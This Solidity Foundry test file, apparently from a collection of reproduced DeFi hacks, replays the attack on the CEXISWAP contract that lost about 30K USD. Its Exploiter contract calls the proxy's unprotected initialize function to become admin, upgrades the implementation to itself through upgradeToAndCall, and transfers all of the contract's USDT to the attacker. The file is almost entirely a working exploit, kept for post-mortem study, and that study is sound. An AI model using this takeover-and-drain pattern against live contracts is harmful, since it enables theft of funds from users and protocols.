CEXISWAP_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~30K USD$
// Attacker : https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04
// Attack Contract : https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1
// Vulnerable Contract : https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305
// Attack Tx : https://etherscan.io/tx/0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e

// @Analysis
// https://twitter.com/DecurityHQ/status/1704759560614126030

interface ICEXISWAP {
    function initialize(
        string memory name,
        string memory ticker,
        address _treasuryWallet,
        address _communityWallet,
        address _admin,
        address _strategy
    ) external;

    function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

contract CexiTest is Test {
    ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    Exploiter private exploiter;

    function setUp() public {
        vm.createSelectFork("mainnet", 18_182_605);
        vm.label(address(CEXISWAP), "CEXISWAP");
        vm.label(address(USDT), "USDT");
    }

    function testExploit() public {
        exploiter = new Exploiter();
        exploiter.exploit();
        emit log_named_decimal_uint("Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6);
    }
}

contract Exploiter {
    ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    address private immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function exploit() external {
        CEXISWAP.initialize("HAX", "HAX", address(this), address(this), address(this), address(this));
        CEXISWAP.upgradeToAndCall(address(this), abi.encodePacked(this.exploit2.selector));
    }

    // function 0x1de24bbf
    function exploit2() external {
        // delegatecall
        USDT.transfer(owner, USDT.balanceOf(address(this)));
    }

    function upgradeTo(address newImplementation) external {
        bytes32 slot = IMPLEMENTATION_SLOT;
        assembly {
            sstore(slot, newImplementation)
        }
    }
}